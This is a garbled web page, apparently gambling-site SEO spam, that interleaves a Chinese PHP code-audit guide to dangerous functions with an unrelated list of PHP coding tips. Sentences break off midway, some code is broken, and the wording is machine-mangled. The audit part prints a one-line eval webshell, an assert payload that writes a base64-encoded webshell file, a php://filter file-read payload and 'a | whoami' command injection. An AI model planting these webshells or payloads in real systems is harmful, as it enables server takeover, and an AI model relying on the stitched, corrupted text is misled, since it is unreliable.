澳门新浦京电子游戏PHP代码审计-常见危险函数

本文由码农网 –
小峰原创翻译,转发请看清文末的转发供给,迎接参与大家的付费投稿安排!

1.不要接收相对路线

PHP代码施行函数

eval & assert & preg_replace

接上一篇:40+个对初读书人特别实用的PHP才能(一)

一时会看出: 

eval 函数

php官方手册:http://php.net/manual/zh/function.eval.php
eval
(PHP 4, PHP 5, PHP 7)
eval —— 把字符串作为PHP代码实行

11.不要在您的应用程序中gzip输出,让apache来做

设想动用ob_gzhandler?不,别这么做。它从未其余意义。PHP应该是来写应用程序的。不要操心PHP中有关怎样优化在服务器和浏览器之间传输的数量。

使用apache mod_gzip/mod_deflate通过.htaccess文件收缩内容。

1
require_once('../../lib/some_class.php');

说明:

mixed eval ( string $code )
把字符串 code 作为PHP代码试行。

12.从php echo javascript代码时利用json_encode

微微时候有的JavaScript代码是从php动态变化的。

$images = array(
 'myself.png' , 'friends.png' , 'colleagues.png'
);

$js_code = '';

foreach($images as $image)
{
$js_code .= "'$image' ,";
}

$js_code = 'var images = [' . $js_code . ']; ';

echo $js_code;

//Output is var images = ['myself.png' ,'friends.png' ,'colleagues.png' ,];

放聪明点。使用json_encode:

$images = array(
 'myself.png' , 'friends.png' , 'colleagues.png'
);

$js_code = 'var images = ' . json_encode($images);

echo $js_code;

//Output is : var images = ["myself.png","friends.png","colleagues.png"]

那不是很清新?

该办法有不菲缺欠:

注意:

函数 eval(卡塔尔国 语言构造是 特别危险的, 因为它同意施行任意 PHP 代码。
它这样用是很危殆的。若是你留意的确认过,除了利用此构造以外 别无方法,
请多加小心,无须允许传入任何由客商 提供的、未经完整验证过的多寡。

13.在写入任何公文在此之前检查目录是或不是可写

在写入或保存任何公文此前,请务供给检查该目录是或不是是可写的,即便不行写的话,会闪烁错误消息。那将节约你大量的“调节和测量试验”时间。当你办事于Linux时,权限是必定要处理的,并且会有好些个浩大的权能难题时,当目录不可写,文件无法读取等的时候。

请保管您的应用程序尽恐怕智能化,并在最短的年华内报告最首要的消息。

$contents = "All the content";
$file_path = "/var/www/project/content.txt";

file_put_contents($file_path , $contents);

那完全精确。但有点直接的标题。file_put_contents也许会因为有的缘故而输球:

  • 父目录子虚乌有
  • 目录存在,但不可写
  • 锁定文件用于写入?

所以,在写入文件早前最棒能够100%都弄理解。

$contents = "All the content";
$dir = '/var/www/project';
$file_path = $dir . "/content.txt";

if(is_writable($dir))
{
    file_put_contents($file_path , $contents);
}
else
{
    die("Directory $dir is not writable, or does not exist. Please check");
}

因而如此做,你就能够赢得何地文件写入退步以至为什么退步的正确音信。

它首先查找钦命的php包涵路线, 然后查找当前目录.

参数

code:

亟需被施行的字符串
代码不能够包罗展开/关闭 PHP tags。举例,‘echo “Hi!”;’
不能这么传入:‘<?php echo “Hi!”; ?>’。但照旧能够用方便的 PHP
tag 来离开、重新步向 PHP 情势。举例 ‘echo “In PHP mode!”; ?>In
HTML mode!<?php echo “Back in PHP mode!”;’

除此之外,传入的必得是实用的 PHP
代码。全部的语句必须以分集团结尾。譬如’echo “Hi!”‘会招致二个 parse
error,而’echo “Hi!”;’则会符合规律运维。
return 语句会立即暂停当前字符串的进行。
代码推行的作用域是调用 eval(卡塔尔 处的成效域。因而,eval()里任何的变量定义、校勘,都会在函数截止后被保存。

14.退换应用程序创立的公文的权位

当在Linux景况下办事时,权限管理会浪费你不菲时刻。由此,只要你的php应用程序创立了某些文本,那就应当矫正它们的权力以保障它们在外围“平易近民”。不然,举例,文件是由“php”顾客创造的,而你当作一个分裂的顾客,系统就不会令你拜访或张开文件,然后您必须要着力取得root权限,校正文件权限等等。

// Read and write for owner, read for everybody else
chmod("/somedir/somefile", 0644);

// Everything for owner, read and execute for others
chmod("/somedir/somefile", 0755);

之所以会检讨过多路线.

返回值

eval() 返回
NULL,除非在实施的代码中return了叁个值,函数再次回到传递给return的值。
PHP 7 开头,实践的代码里假若有一个 parse error,eval()会抛出
ParseError 极度。在 PHP 7 从前, 假诺在施行的代码中有 parse
error,eval(卡塔尔国重返FALSE,之后的代码将常规实践。不能够采取set_澳门新浦京电子游戏,error_handler(卡塔尔捕获 eval(卡塔尔(قطر‎中的拆解剖判错误。

15.而不是检查提交按键值来检查表单提交

if($_POST['submit'] == 'Save')
{
    //Save the things
}

以上代码在大好些个时候是不错的,除了应用程序使用多语言的气象。然后“Save”能够是超级多莫衷一是的事物。那么你该怎样再做相比?所以不可能依据提交开关的值。相反,使用这些:

if( $_SERVER['REQUEST_METHOD'] == 'POST' and isset($_POST['submit']) )
{
    //Save the things
}

以后你就可以解脱提交开关的值了。

假诺该脚本被另一目录的本子富含, 它的骨干目录变成了另一脚本所在的目录.

简单说

mixed eval ( string $code 卡塔尔国 把字符串 $code 作为PHP代码推行。
无数经常见到的 webshell 都是用eval 来实行具体操作的。
<?php @eval($_POST[‘v’]);?> —— 常见的一句话木马。
eval通常现身的景观是

<?php
  $string = 'cup';
  $name = 'coffee';
  $str = 'This is a $string with my $name in it.';
  echo $str. "n";
  eval("$str = "$str";");
  echo $str. "n";
?>

16.在函数中老是有相仿值的地点采用静态变量

//Delay for some time
function delay()
{
    $sync_delay = get_option('sync_delay');

    echo "<br />Delaying for $sync_delay seconds...";
    sleep($sync_delay);
    echo "Done <br />";
}

反倒,使用静态变量:

//Delay for some time
function delay()
{
    static $sync_delay = null;

    if($sync_delay == null)
    {
    $sync_delay = get_option('sync_delay');
    }

    echo "<br />Delaying for $sync_delay seconds...";
    sleep($sync_delay);
    echo "Done <br />";
}

另一主题材料, 当依期义务运营该脚本, 它的下面目录只怕就不是办事目录了.

assert 函数

PHP手册:http://php.net/manual/zh/function.assert.php
(PHP 4, PHP 5, PHP 7State of QatarPHP7 有例外,请看PHP手册。这里十分少说了。

17.并不是向来使用$ _SESSION变量

部分简短的例证是:

$_SESSION['username'] = $username;
$username = $_SESSION['username'];

可是那有三个主题材料。如若您正在相符域中运作多少个应用程序,会话变量会产生冲突。2个例外的应用程序在对话变量中大概会设置同一的键名。举个例子,贰个相似域的前端门户和后台管理应用程序。

因而,用包装函数使用应用程序特定键:

define('APP_ID' , 'abc_corp_ecommerce');

//Function to get a session variable
function session_get($key)
{
    $k = APP_ID . '.' . $key;

    if(isset($_SESSION[$k]))
    {
        return $_SESSION[$k];
    }

    return false;
}

//Function set the session variable
function session_set($key , $value)
{
    $k = APP_ID . '.' . $key;
    $_SESSION[$k] = $value;

    return true;
}

进而最棒接收是利用绝对路径:

说明

bool assert ( mixed $assertion [, string $description ] )
自己评论叁个断言是还是不是为
FALSE。(把字符串 $assertion 作为PHP代码实践)

编纂代码时,大家连年会做出一些万一,断言即使用来在代码中捕捉那么些要是,能够将断言看作是非常管理的一种尖端形式。工程师断言在前后相继中的有个别特确定地点该的表述式值为真。假如该表明式为假,就暂停操作。
断言一词来自逻辑学,在逻辑学中,“断言”是“确定三个一定前提为实在陈诉”,在软件测验中也是看似的意思。能够知晓为判别三个表明式结果为真,不为真就透过抛万分或然其余方法使那个测量检验用例失利。

assert(State of Qatar 会检查钦点的 assertion 并在结果为 FALSE 时使用适度的行路。

18.封装实用支持函数到七个类中

所以,你必须在八个文件中有众多实用函数:

function utility_a()
{
    //This function does a utility thing like string processing
}

function utility_b()
{
    //This function does nother utility thing like database processing
}

function utility_c()
{
    //This function is ...
}

自由地在应用程序中选拔函数。那么您或然想要将它们包装成叁个类作为静态函数:

class Utility
{
    public static function utility_a()
    {

    }

    public static function utility_b()
    {

    }

    public static function utility_c()
    {

    }
}

//and call them as 

$a = Utility::utility_a();
$b = Utility::utility_b();

这里您能够赢得的三个盛名之下好处是,假诺php有平日名称的放到函数,那么名称不会发生冲突。

从另贰个角度看,你可以在相符的应用程序中维系多少个本子的相似类,而不会时有发生别的冲突。因为它被打包了,正是这么。

1
2
3
4
view sourceprint?
 define('ROOT' '/var/www/project/');
 require_once(ROOT . '../../lib/some_class.php');
 //rest of the code

assertions

若是 assertion 是字符串,它将会被 assert() 当做 PHP 代码来实行。
assertion
是字符串的优势是当禁止使用断言时它的支付会越来越小,并且在断言退步时音信会蕴藏
assertion 表明式。 那表示要是您传入了 boolean 的尺码作为
assertion,这一个原则将不会来得为断言函数的参数;在调用你定义的
assert_options()
管理函数时,条件会改换为字符串,而布尔值 FALSE
会被调换来空字符串。
预见这一个效果应该只被用来调节。
你应该用于完整性检查时测量检验条件是还是不是始终应为
TRUE,来提示有个别程序不当,也许检查具体职能的留存(相像扩张函数或特定的系统约束和意义)。
预知不该用于日常运转时操作,肖似输入参数的检讨。
作为三个经历准则,在断言禁用时你的代码也相应力所能致科学地运营。
assert() 的表现足以透过
assert_options()
来配置,恐怕手册页面上陈述的 .ini 设置。

19.片段傻蛋式才能

  • 使用echo代替print
  • 使用str_replace代替preg_replace,除非你明确需求它
  • 不要选择short tags
  • 对于简易的字符串使用单引号替代双引号
  • 在header重定向之后要记得做四个exit
  • 纯属不要把函数调用放到for循环调节行中。
  • isset比strlen快
  • 无庸置疑和平等地格式化你的代码
  • 毫无错失循环或if-else块的括号。

不用写那样的代码:

if($a == true) $a_count++;

那相对是一种浪费。

这样写

if($a == true)
{
    $a_count++;
}

不用通过吃掉语法减少你的代码。而是要令你的逻辑更轻便。

  • 选用具备代码高亮功效的文本编辑器。代码高亮有利于减少不当。

我们定义了三个绝对路线, 值被写死了. 大家还足以改正它. 路径/var/www/project 也恐怕会转移, 那么大家每一回都要改换它呢? 不是的,
咱们能够运用__FILE__常量, 如:

参数

assertion
预感。在PHP5中必需是string型或Boolean型。在PHP,能够是其余有再次来到值的表明式

description
假使 assertion 战败了,选项 description 将会满含在波折音信里。

20. 使用array_map快捷管理数组

举个例子说,你要trim贰个数组的有所因素。生手会那样做:

foreach($arr as $c => $v)
{
    $arr[$c] = trim($v);
}

但它能够应用array_map变得更洁净:

$arr = array_map('trim' , $arr);

那适用于trim数组$arr的装有因素。另二个雷同的函数是array_walk。

1
2
3
4
5
//suppose your script is /var/www/project/index.php
 //Then __FILE__ will always have that full path.
 define('ROOT' pathinfo(__FILE__, PATHINFO_DIRNAME));
 require_once(ROOT . '../../lib/some_class.php');
 //rest of the code

返回值

assertion 是 false 则返回 FALSE,否则是 TRUE。

21.使用php过滤器验证数据

你是不是使用正则表明式来阐明如电子邮件,IP地址等值?是的,各样人都以这么做的。未来,让大家尝试三个无所适从的事物,那正是过滤器。

php过滤器扩大程序将提供简单的秘诀来有效注明或校验值。

今昔, 无论你移到哪些目录, 如移到八个外网的服务器上,
代码无须变动便可科学运行.

简单说

反省叁个断言是否为
FALSE。
assert(卡塔尔 会检查内定的 assertion 并在结果为 FALSE 时利用适度的行动。
只要 assertion 是字符串,它将会被 assert() 充任 PHP 代码来实施。

因为非常多杀毒软件把 eval 列入黑名单了,所以用 assert 来顶替eval
来实践具体操作的。

<?php $_GET[a]($_GET[b]);?>  //一句话木马
//payload: ?a=assert&b={fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwJF9QT1NUW2NdKTsgPz4))};

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5
waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWw
oJF9QT1NUW2NdKTsgPz4x%29%29};

22.威吓类型检查

$amount = intval( $_GET['amount'] );
$rate = (int) $_GET['rate'];

那是一种好习贯。

2. 绝不一贯利用 require, include, include_once, required_once

preg_replace 函数

preg_replace — 执行叁个正则表明式的搜寻和替换
http://php.net/manual/zh/function.preg-replace.php

23.使用set_error_handler()将Php错误写入到文件

set_error_handler()能够用来设置自定义的错误管理程序。在文件中编辑一些最首要的荒唐用于日志是个好主意。

可以在本子尾部引入多少个文本, 像类库, 工具文件和副手函数等, 如:

说明

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索subject中相配pattern的一对, 以replacement实行沟通。

24.小心管理大型数组

巨型的数组或字符串,若是二个变量保存了有的层面超大的事物,那么要小心处理。何足为奇错误是创造别本,然后耗尽内部存款和储蓄器,并获得内部存款和储蓄器溢出的致命错误:

$db_records_in_array_format; //This is a big array holding 1000 rows from a table each having 20 columns , every row is atleast 100 bytes , so total 1000 * 20 * 100 = 2MB

$cc = $db_records_in_array_format; //2MB more

some_function($cc); //Another 2MB ?

当导入csv文件或导出表到csv文件时,下边那样的代码很广阔。

像上面这样做只怕时时会出于内部存款和储蓄器节制而让脚本崩溃。对于小圈圈的变量它不会现出难点,但当管理大型数组时必定要对此加以制止。

杜撰通过援引传递它们,恐怕将它们存款和储蓄在贰个类变量中:

$a = get_large_array();
pass_to_function(&$a);

那样一来,相符的变量(并非其别本)将用以该函数。

class A
{
    function first()
    {
        $this->a = get_large_array();
        $this->pass_to_function();
    }

    function pass_to_function()
    {
        //process $this->a
    }
}

赶紧还原它们,这样内部存储器就能够被假释,何况脚本的别的部分就能够放松。

上面是关于怎么样通过引用来赋值进而省去内部存款和储蓄器的二个简便示例。

<?php

ini_set('display_errors' , true);
error_reporting(E_ALL);

$a = array();

for($i = 0; $i < 100000 ; $i++)
{
    $a[$i] = 'A'.$i;
}

echo 'Memory usage in MB : '. memory_get_usage() / 1000000 . '<br />';

$b = $a;
$b[0] = 'B';

echo 'Memory usage in MB after 1st copy : '. memory_get_usage() / 1000000 . '<br />';

$c = $a;
$c[0] = 'B';

echo 'Memory usage in MB after 2st copy : '. memory_get_usage() / 1000000 . '<br />';

$d =& $a;
$d[0] = 'B';

echo 'Memory usage in MB after 3st copy (reference) : '. memory_get_usage() / 1000000 . '<br />';

一个一级php 5.4机械上的输出是:

Memory usage in MB : 18.08208
Memory usage in MB after 1st copy : 27.930944
Memory usage in MB after 2st copy : 37.779808
Memory usage in MB after 3st copy (reference) : 37.779864

所以得以看看,内存被封存在第3份通过引用的副本中。不然,在具有普通副本中内部存款和储蓄器将被越来越多地动用。

1
2
3
require_once('lib/Database.php');
 require_once('lib/Mail.php');
 require_once('helpers/utitlity_functions.php');

参数

pattern
要找寻的方式。可以使四个字符串或字符串数组。能够采纳一些PCRE修饰符。

replacement
用来替换的字符串或字符串数组。
比如这些参数是二个字符串,况且 pattern
是一个数组,那么全数的方式都使用这一个字符串举办替换。
假诺 pattern 和 replacement 皆以数组,种种pattern 使用replacement
中对应的成分实行改变。
假若replacement 中的成分比pattern 中的少, 多出来的pattern
使用空字符串实行替换。

replacement 中得以分包后向引用\n$n,语法上首推后面一个。
每一个那样的援引将被相称到的第n个捕获子组捕获到的文件替换。 n
能够是0-99,\0$0 代表完整的情势相配文本。
当在交替形式下办事同有的时候间后向援引前边紧跟着需倘诺其余三个数字(比如:在多个同盟形式后接着增添叁个原稿数字卡塔尔(قطر‎。

当使用被弃用的 e 修饰符时, 那几个函数会转义一些字符(即:、 和
NULL卡塔尔然后张开后向援用替换。当那么些产生后请保管后向援引分析完后从没有过单引号或
双引号引起的语法错误(比方:
'strlen('$1')+strlen("$2")'State of Qatar。确定保证相符PHP的
字符串语法,并且切合eval语法。因为在成功替换后,
引擎会将结果字符串作为php代码使用eval情势张开评估并将重回值作为最终插手替换的字符串。

subject
要进行搜寻和替换的字符串或字符串数组。
借使subject是一个数组,寻找和替换回在subject 的每四个成分上开展,
并且重返值也会是一个数组。

limit
各类格局在种种subject上进展更换的最大次数。暗中认可是 -1(无限)。

count
假设内定,将会被填充为完结的更迭次数。

25.在全部脚本中央银行使单一的数据库连接

请确认保证您在总体脚本使用单一的数据库连接。从一起始就打开连接,使用至甘休,并在收尾时关闭它。不要像这么在函数内打开连接:

function add_to_cart()
{
    $db = new Database();
    $db->query("INSERT INTO cart .....");
}

function empty_cart()
{
    $db = new Database();
    $db->query("DELETE FROM cart .....");
}

有几个延续也不好,会因为各类连接都急需时日来创立和采纳越多的内部存款和储蓄器,而产生施行减缓。

在特别境况下。例如数据库连接,可以使用单例形式。

这种用法非凡原始. 应该更加灵敏点. 应编写制定个臂膀函数包罗文件. 举个例子:

返回值

设若subject是三个数组, preg_replace(卡塔尔重返一个数组,
其余景况下回到二个字符串。
举个例子相配被查找到,替换后的subject被重回,其余意况下 重临未有改观的
subject。假如发生错误,重回 NULL 。

1
2
3
4
5
6
7
8
function load_class($class_name)
 {
 //path to the class file
 $path = ROOT . '/lib/' $class_name '.php');
 require_once$path );
 }
 load_class('Database');
 load_class('Mail');

错误/异常

PHP 5.5.0 起, 传入 “e” 修饰符的时候,会发出一个 E_DEPRECATED 错误;
PHP 7.0.0 起,会产生 E_WARNING 错误,同时 “e” 也回天无力起效。

有啥不相近呢? 该代码更具可读性.

简单说

preg_replace — 实践三个正则表明式的搜寻和替换
/e 改进符使 preg_replace()replacement 参数作为 PHP 代码

preg_replace("/test/e",$_GET["h"],"jutst test"); 

若果大家付出
?h=phpinfo(卡塔尔国,/e就能够将h参数当作PHP代码,phpinfo(卡塔尔将会被试行。

將来您能够按需扩充该函数, 如:

create_function

create_function — 创立二个无名函数。
http://php.net/manual/zh/function.create-function.php

string create_function ( string $args , string $code )

成立一个无名函数,并再次来到绝无仅有的函数名。

$newfunc = create_function('$v', 'return system($v);');
$newfunc('whoami');

就一定于system(‘whoami’State of Qatar;

1
2
3
4
5
6
7
8
9
function load_class($class_name)
 {
 //path to the class file
 $path = ROOT . '/lib/' $class_name '.php');
 if(file_exists($path))
 {
 require_once$path );
 }
 }

call_user_func

call_user_func — 把第二个参数作为回调函数调用
http://php.net/manual/zh/function.call-user-func.php

还可做得越多:

说明

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

首先个参数 callback 是被调用的回调函数,别的参数是回调函数的参数。

为同一文件查找四个目录

参数

callback
将被调用的回调函数(callable)。

parameter
0个或以上的参数,被流传回调函数。

Note:
请注意,传入call_user_func()的参数不能够为引用传递。

能相当的轻巧的变动放置类公事的目录, 无须在代码处处一一修改

返回值

归来回调函数的再次来到值。

可接受相通的函数加载文件, 如html内容.

call_user_func_array

call_user_func_array —
调用回调函数,并把多个数组参数作为回调函数的参数
http://php.net/manual/zh/function.call-user-func-array.php

3. 为使用保留调节和测量试验代码

说明

mixed call_user_func_array ( callable $callback , array $param_arr )

把第二个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

在付出处境中, 大家打字与印刷数据库查询语句, 转存有标题标变量值,
而一旦难点消亡, 大家批注或删除它们. 但是更加好的做法是保存调节和测量试验代码.

参数

callback
被调用的回调函数。
param_arr
要被盛传回调函数的数组,那个数组得是索引数组。

在付出情状中, 你能够:

返回值

重回回调函数的结果。就算出错的话就回来FALSE

1
2
3
4
5
6
7
8
9
10
11
12
define('ENVIRONMENT' 'development');
 if(! $db->query( $query )
 {
 if(ENVIRONMENT == 'development')
 {
 echo "$query failed";
 }
 else
 {
 echo "Database error. Please contact administrator";
 }
 }

包蕴函数

require、include、require_once、include_once
满含函数 一共有多少个,首要功效为蕴涵并运营钦定文件。

  • 法定手册:require
    require 和 include
    大致全盘一致,除了拍卖战败的措施区别之外。require 在差之毫厘开上下班时间发出
    E_COMPILE_ERROR 品级的大错特错。换句话说将招致脚本中止而
    include
    只发生警示(E_WARNING),脚本会继续运维。
  • 官方手册:include
    语句包括并运营钦赐文件。
  • 法定手册:require_once
    require_once 语句和
    require
    语句完全相像,唯一差异是 PHP
    会检查该公文是不是早就被含有过,假若是则不会再度富含。
    参见
    include_once
    的文书档案来精通 _once 的含义,并通晓与从不 _once 时候有何差别。
  • 合法手册:include_once
    include_once 语句在剧本实行时期带有并运营钦赐文件。此行为和
    include
    语句看似,独一分化是固然该文件中早已被含有过,则不会再度满含。就好像此语句名字暗中表示的那样,只会蕴藏一回。
    include_once
    能够用来在本子实行时期同四个文书有异常的大可能率被含有超越一次的景况下,想确认保障它只被含有一次防止止函数重定义,变量重新赋值等主题素材。

在服务器中, 你能够:

简单说

include $file;
在变量 $file 可控之处下,大家就足以蕴含自由文件,进而达到 getshell
的目标。
别的,在差异的配备情况下,能够分包区别的文书。
据此又分为长间距文件包括本土文件满含
包蕴函数也能够读取任意文件内容,那就需求运用【扶植的谈判和包装公约】和【过滤器】。
举例,利用php流filter读取放肆文件

include($_GET['file']);
?file=php://filter/convert.base64-encode/resource=index.php
解释:?file=php:// 协议 / 过滤器 / 文件
1
2
3
4
5
6
7
8
9
10
11
12
define('ENVIRONMENT' 'production');
 if(! $db->query( $query )
 {
 if(ENVIRONMENT == 'development')
 {
 echo "$query failed";
 }
 else
 {
 echo "Database error. Please contact administrator";
 }
 }

命令实施函数

  • exec()
    — 实行三个外界程序
  • passthru()
    — 实践外界程序同一时候呈现原始输出
  • proc_open()
    — 实践三个下令,并且展开用来输入/输出的文本指针。
  • shell_exec()
    — 通过 shell 遇到实践命令,何况将完整的输出以字符串的方法赶回。
  • system()
    — 实践外界程序,何况出示输出
  • popen()
    — 通过 popen(State of Qatar 的参数传递一条命令,并对 popen(卡塔尔(قطر‎ 所打开的文本进行施行

程序施行函数:http://php.net/manual/zh/ref.exec.php
文件系统函数:http://php.net/manual/zh/ref.filesystem.php

实行函数包蕴但不幸免上述多少个。
同等的道理、只要命令的参数可控就能够进行系统命令。
例如:
system( $cmd );或者 system('ping -c 3 ' . $target );
当 $cmd 可控就能够实施任性命令,
而当 $target
可控的话,能够用管道符等特殊字符截断进而推行率性命令。
$target = 'a | whoami';

4. 运用可跨平台的函数试行命令

文本操作函数

• copy — 拷贝文件
http://php.net/manual/zh/function.copy.php
• file_get_contents — 将一切文件读入三个字符串
http://php.net/manual/zh/function.file-get-contents.php
• file_put_contents — 将一个字符串写入文件
http://php.net/manual/zh/function.file-put-contents.php
• file — 把全体文件读入一个数组中
http://php.net/manual/zh/function.file.php
• fopen — 张开文件也许 UEscortL
http://php.net/manual/zh/function.fopen.php
• move_uploaded_file — 将上传的文书移动到新地方
http://php.net/manual/zh/function.move-uploaded-file.php
• readfile — 输出文件
http://php.net/manual/zh/function.readfile.php
• rename — 重命名二个文本或目录
http://php.net/manual/zh/function.rename.php
• rmdir — 删除目录
http://php.net/manual/zh/function.rmdir.php
• unlink &
delete
— 删除文件
http://php.net/manual/zh/function.unlink.php

私下文件读取、写入、删除往往是下面多少个函数受到了决定(当然还应该有任何的函数)。
今是昨非的函数在分歧的风貌有不相同的效应和见智见仁的接受手法。
读取:能够读取配置等公事,获得key
写入:可以写入shell代码相关的情节
删去:能够删除.lock文件而能够重新安装覆盖
越来越多思路请自行发现测量试验!!

文件系统函数:http://php.net/manual/zh/ref.filesystem.php

system, exec, passthru, shell_exec 那4个函数可用于实践系统命令.
每种的一举一动都有一线差异. 难点在于, 当在分享主机中,
某个函数可能被接收性的禁止使用. 大许多生手趋于每便首先检查哪个函数可用,
不过再接纳它.

卓越函数

更加好的方案是封成函数三个可跨平台的函数.

音讯败露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
 Method to execute a command in the terminal
 Uses :
 1. system
 2. passthru
 3. exec
 4. shell_exec
 */
 function terminal($command)
 {
 //system
 if(function_exists('system'))
 {
 ob_start();
 system($command $return_var);
 $output = ob_get_contents();
 ob_end_clean();
 }
 //passthru
 else if(function_exists('passthru'))
 {
 ob_start();
 passthru($command $return_var);
 $output = ob_get_contents();
 ob_end_clean();
 }
 //exec
 else if(function_exists('exec'))
 {
 exec($command $output $return_var);
 $output = implode("n" $output);
 }
 //shell_exec
 else if(function_exists('shell_exec'))
 {
 $output = shell_exec($command) ;
 }
 else
 {
 $output 'Command execution not possible on this system';
 $return_var = 1;
 }
return array('output' => $output 'status' => $return_var);
 }
 terminal('ls');

phpinfo

bool phpinfo ([ int $what = INFO_ALL ] )
phpinfo
— 输出关于 PHP 配置的音讯
输出 PHP 当前程象的多量音讯,包括了 PHP 编写翻译选项、启用的强大、PHP
版本、服务器新闻和情状变量(假设编写翻译为贰个模块的话)、PHP情形变量、操作系统版本消息、path
变量、配置选项的地点值和主值、HTTP 头和PHP授权新闻(License卡塔尔。
因为每一种系统设置得有所分歧,phpinfo() 常用于在系统上检查
安排安装和
预订义变量。
phpinfo() 同期是个很有价值的、包蕴全部 EGPCS(Environment, GET, POST,
Cookie, ServerState of Qatar 数据的调弄收拾工具。

地点的函数將运转shell命令, 只要有三个种类函数可用, 这保持了代码的等同种性别.

软连接-读取文件内容

5. 灵活编写函数

symlink

symlink
— 建设布局符号连接
bool symlink ( string $target , string $link )
symlink(卡塔尔国 对于已部分 target 创设二个名字为 link 的标识连接。

function add_to_cart($item_id , $qty)

readlink

readlink
— 重返符号连接指向的目的
string readlink ( string $path )
readlink(卡塔尔(قطر‎ 和同名的 C 函数做相近的事,再次来到符号连接的从头到尾的经过。

1
2
3
4
{
 $_SESSION['cart']['item_id'] = $qty;
 }
add_to_cart( 'IPHONE3' , 2 );

碰着变量

使用方面包车型地铁函数增多单个项目. 而当加多项列表的时候,你要开创另三个函数吗?
不用, 只要稍加精心不一样类其余参数, 就能够更加灵活. 如:

getenv

getenv
— 获取七个景况变量的值
string getenv ( string $varname )
得到二个意况变量的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function add_to_cart($item_id $qty)
 {
 if(!is_array($item_id))
 {
 $_SESSION['cart']['item_id'] = $qty;
 }
 else
 {
 foreach($item_id as $i_id => $qty)
 {
 $_SESSION['cart']['i_id'] = $qty;
 }
 }
 }
 add_to_cart( 'IPHONE3' , 2 );
 add_to_cart( array('IPHONE3' => 2 , 'IPAD' => 5) );

putenv

putenv
— 设置遇到变量的值
bool putenv ( string $setting )
加多 setting 到服务器遭受变量。 遭遇变量仅存活于当下呼吁时期。
在伸手甘休时情状会还原到起来状态。

于今, 同个函数能够处理分裂品种的输入参数了. 能够参照他事他说加以调查上面包车型地铁例证重构你的多处代码, 使其更智能.

加载扩大

dl
— 运维时载入多少个 PHP 扩充
bool dl ( string $library )
载入钦赐参数 library 的 PHP 扩大。

6. 特有忽视php关闭标签

配备相关

PHP 选项/信息 函数
http://php.net/manual/zh/ref.info.php

自个儿很想领悟怎么这么多关于php建议的博客小说都没涉及那点.

ini_get

ini_get
— 获取叁个计划选项的值
string ini_get ( string $varname )
打响时再次来到配置选项的值。

1
2
3
<?php
 echo "Hello";
 //Now dont close this tag

ini_set

string ini_set ( string $varname , string $newvalue )

那將节约你不菲时间. 我们譬喻:

ini_alter

string ini_alter ( string $varname , string $newvalue )
安装指虞诩顿选项的值。这些选项会在本子运维时保持新的值,并在剧本甘休时上升。

一个 super_class.php 文件

ini_restore

void ini_restore ( string $varname )
还原钦命的构造选项到它的原始值。

1
2
3
4
5
6
7
8
9
10
<?php
 class super_class
 {
 function super_function()
 {
 //super code
 }
 }
 ?>
 //super extra character after the closing tag

数字剖断

index.php

is_numeric

bool is_numeric ( mixed $var )
假如 var 是数字和数字字符串则赶回 TRUE,不然再次来到 FALSE。
仅用is_numeric判定而不用intval调换就有望插入16进制的字符串到数据库,进而只怕产生sql贰回注入。

1
2
require_once('super_class.php');
 //echo an image or pdf , or set the cookies or session data

数组相关

这么, 你將会赢得一个 Headers already send error. 为何? 因为 “super
extra character” 已经被输出了. 未来你得起来调和啦. 那会费用一大波小时查找
super extra 的地点.

in_array

bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
在 haystack 中探究 needle,若无设置 strict 则动用宽松的相比较。
该函数有三个特点,比较前边会举办活动类型转变。
$a = '1abc';
in_array($a,array(1,2,3))的回来值会是真

所以, 养成省略关闭符的习贯:

变量覆盖

1
2
3
4
5
6
7
8
9
<?php
 class super_class
 {
 function super_function()
 {
 //super code
 }
 }
 //No closing tag

parse_str

void parse_str ( string $str [, array &$arr ] )
设若 str 是 UPAJEROL 传递入的查询字符串(query
string),则将它拆解深入分析为变量并设置到当下作用域。

那会越来越好.

extract

int extract ( array &$var_array [, int $extract_type =
EXTR_OVERWRITE [, string $prefix = NULL ]] )
本函数用来将变量从数组中程导弹入到当前的暗记表中。检查各种键名看是否能够作为二个合法的变量名,同一时候也检查和标识表中已有些变量名的冲突。

7. 在某地点收集全数输入, 一次输出给浏览器

mb_parse_str

bool mb_parse_str ( string $encoded_string [, array &$result ] )
分析 GET/POST/高管KIE 数据并设置全局变量。 由于 PHP 不提供原始
POST/主管KIE 数据,近年来它仅能够用于 GET 数据。 它分析了 UHavalL
编码过的数据,检查测验其编码,并转移编码为内部编码,然后设置其值为 array 的
result 恐怕全局变量。

那称为输出缓冲, 即使说你已在不一样的函数输出内容:

import_request_variables

bool import_request_variables ( string $types [, string $prefix ] )
将 GET/POST/Cookie 变量导入到全局作用域中。假诺你不许了
register_globals,但又想用到某些大局变
量,那么此函数就很有用。

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str);
echo $first;  
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

输出:valuefoo barbaz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function print_header()
 {
 echo "<div id='header'>Site Log and Login links</div>";
 }
 function print_footer()
 {
 echo "<div id='footer'>Site was made by me</div>";
 }
 print_header();
 for($i = 0 ; $i < 100; $i++)
 {
 echo "I is : $i ';
 }
print_footer();

列目录

代替他方案, 在某地点集中采撷输出. 你能够积累在函数的片段变量中,
也得以行使ob_start和ob_end_clean. 如下:

glob

array glob ( string $pattern [, int $flags = 0 ] )
glob(State of Qatar 函数根据 libc glob(State of Qatar 函数使用的规规矩矩寻觅具备与 pattern
匹配的文本路径,相像于日常 shells 所用的
准则雷同。不进行缩写扩充或参数替代。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function print_header()
 {
 $o "<div id='header'>Site Log and Login links</div>";
 return $o;
 }
function print_footer()
 {
 $o "<div id='footer'>Site was made by me</div>";
 return $o;
 }
echo print_header();
 for($i = 0 ; $i < 100; $i++)
